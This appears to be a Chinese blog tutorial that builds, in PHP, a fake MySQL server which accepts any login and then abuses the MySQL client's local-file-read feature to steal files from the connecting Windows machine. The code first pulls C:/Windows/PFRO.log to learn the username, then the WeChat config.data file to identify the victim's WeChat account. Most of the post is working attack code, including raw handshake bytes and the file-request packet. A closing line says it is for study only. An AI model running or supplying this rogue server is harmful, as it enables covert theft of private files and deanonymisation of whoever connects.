前言 无意间发现 MySQL蜜罐获取攻击者微信ID 这篇文章,读完后觉得挺有意思的,于是想用 PHP 实现一下。
通过文章了解到,可以启动一个 TCP 服务伪装成 MySQL 服务,当有人通过客户端连接进来时,不管用什么账号密码都提示登录成功,然后利用 MySQL 通信机制可以读取客户端所在的电脑上的文件。
建立 TCP 服务 先定义一些会用到的常量。
1 2 3 4 5 6 7 8 define('SERVER_ADDRESS' , '0.0.0.0' ); define('SERVER_PORT' , 8080 ); define('BUF_MAX_SIZE' , 1024 * 100 ); define('MYSQL_INFO_MESSAGE' , "\x4a\x00\x00\x00\x0a\x35\x2e\x35\x2e\x35\x33\x00\x17\x00\x00\x00\x6e\x7a\x3b\x54\x76\x73\x61\x6a\x00\xff\xf7\x21\x02\x00\x0f\x80\x15\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x70\x76\x21\x3d\x50\x5c\x5a\x32\x2a\x7a\x49\x3f\x00\x6d\x79\x73\x71\x6c\x5f\x6e\x61\x74\x69\x76\x65\x5f\x70\x61\x73\x73\x77\x6f\x72\x64\x00" ); define('MYSQL_AUTH_SUCCESS' , "\x07\x00\x00\x02\x00\x00\x00\x02\x00\x00\x00" );
创建一个 TCP Socket 用于接收并处理客户端的连接,socket_accept
函数返回的是一个已经通过 TCP 三次握手后的连接。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 $server = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);socket_bind($server , SERVER_ADDRESS, SERVER_PORT); socket_listen($server ); while (true ) { $conn = socket_accept($server ); }
到这里一个简单的 TCP 服务就完成了。
由于 socket_accept 后面的代码是本文的重点,所以将这部分单独拿出来。
MySQL 服务端与客户端通信的过程 接下来要做的事情就是伪装 MySQL 服务与客户端进行交互。
在此之前,我们先了解一下 MySQL 服务端与客户端通信的过程。
客户端对服务端发起请求,进行 TCP 三次握手后建立连接
服务端给客户端发 MySQL 版本等信息
客户端收到后,给服务端发送账号密码进行认证
服务端收到账号密码进行验证,然后给客户端发送认证结果
客户端收到认证成功的消息后,给服务端发送设置编码的报文
用代码实现上面服务端做的事情。
1 2 3 4 5 6 7 8 socket_write($conn , MYSQL_INFO_MESSAGE); socket_read($conn , BUF_MAX_SIZE); socket_write($conn , MYSQL_AUTH_SUCCESS); socket_read($conn , BUF_MAX_SIZE);
封装需要用到函数 服务端需要根据客户端的 IP 为客户端建立一个目录,用于保存从客户端读取到的文件。
1 2 3 4 5 6 7 8 9 10 11 12 13 function get_log_path ($conn ) { socket_getsockname($conn , $remote_ip ); $log_path = __DIR__ .'/log/' .$remote_ip ; if (!is_dir($log_path )) { mkdir($log_path , 0777 , true ); } return $log_path ; }
封装一个函数用来发送读取文件的报文并获取客户端返回的文件内容。
报文格式:文件名的长度转换为字符
+ \x00\x00\x01\xFB
+ 文件名
1 2 3 4 5 6 7 8 9 10 11 12 13 function read_file ($conn , $filename ) { $packet = chr(strlen($filename ) + 1 )."\x00\x00\x01\xFB" .$filename ; $result = socket_write($conn , $packet ); if ($result === false ) { return false ; } return socket_read($conn , BUF_MAX_SIZE); }
读取 PFRO.log 文件 在收到设置编码的报文之后,先读取客户端电脑上的 C:/Windows/PFRO.log
文件,然后将读取到的文件内容保存到指定的目录中。
为什么要读取这个文件?
因为在获取用户微信 ID 等信息之前,需要知道客户端电脑使用的用户名,而在大多数 Windows 电脑上都有 C:/Windows/PFRO.log` 这个文件。
所以大概率能从这个文件中找到用户名(注意并不是 100% 能找到)。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 if (!file_exists("{$log_path} /PFRO.log" )) { $content = read_file($conn , 'C:/Windows/PFRO.log' ); if ($content === false ) { printf("read PFRO.log failed, %s\n" , socket_last_error()); socket_close($conn ); continue ; } printf("read PFRO.log success...\n" ); socket_close($conn ); file_put_contents("{$log_path} /PFRO.log" , $content ); continue ; }
为什么读取到 PFRO.log 文件之后就断开连接?
运行到这一段代码的时候, 客户端与服务端已经认证完成了,就算服务端不断开连接,客户端也会断开。
客户端第一次连接时保存了 PFRO.log
文件,第二次连接时就可以通过这个文件得到电脑用户名,从而可以去获取保存微信 ID 的文件了。
读取指定的文件内容 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 $content = file_get_contents("{$log_path} /PFRO.log" );$content = str_replace(["\n" , "\r" , "\t" , "\00" , ' ' ,], '' , $content );$content = str_replace('\\' , '/' , $content );preg_match("#Users/(.*)/#" , $content , $data ); $username = explode('/' , $data [1 ])[0 ];$filename = "C:/Users/{$username} /Documents/WeChat Files/All Users/config/config.data" ;$save_filename = str_replace(['/' , ':' ], ['_' , '' ], $filename );$content = read_file($conn , $filename );if ($content === false ) { printf("read %s failed, %s\n" , $filename , socket_last_error()); socket_close($conn ); continue ; }
解决读取大文件的问题 接下来解决原文中提到的如何读取大文件的问题。
当读取的文件比较大的时候,客户端会分段发送文件内容,所以服务端也要多次读取才能得到完整的文件。
为了避免客户端没有发送数据或数据已经读取完了导致 socket_read
一直处于阻塞状态,需要先将连接设置为非阻塞的。
当没有读取到数据时 socket_read
会立即返回并停止循环。
1 2 3 4 5 6 7 8 9 10 11 12 13 socket_set_nonblock($conn ); do { printf("read %d bytes from %s...\n" , strlen($content ), $filename ); file_put_contents("{$log_path} /{$save_filename} " , $content , FILE_APPEND); $content = socket_read($conn , BUF_MAX_SIZE); } while (!empty ($content )); socket_close($conn );
总结 通过本文可以了解到:
MySQL 身份认证的过程
使用 PHP 建立 TCP 服务并与客户端交互
使用 Socket 读取大文件
⚠️ 注意!!!本文及源码仅用于学习研究!请勿用于商业或非法目的,否则后果自负。
参考链接: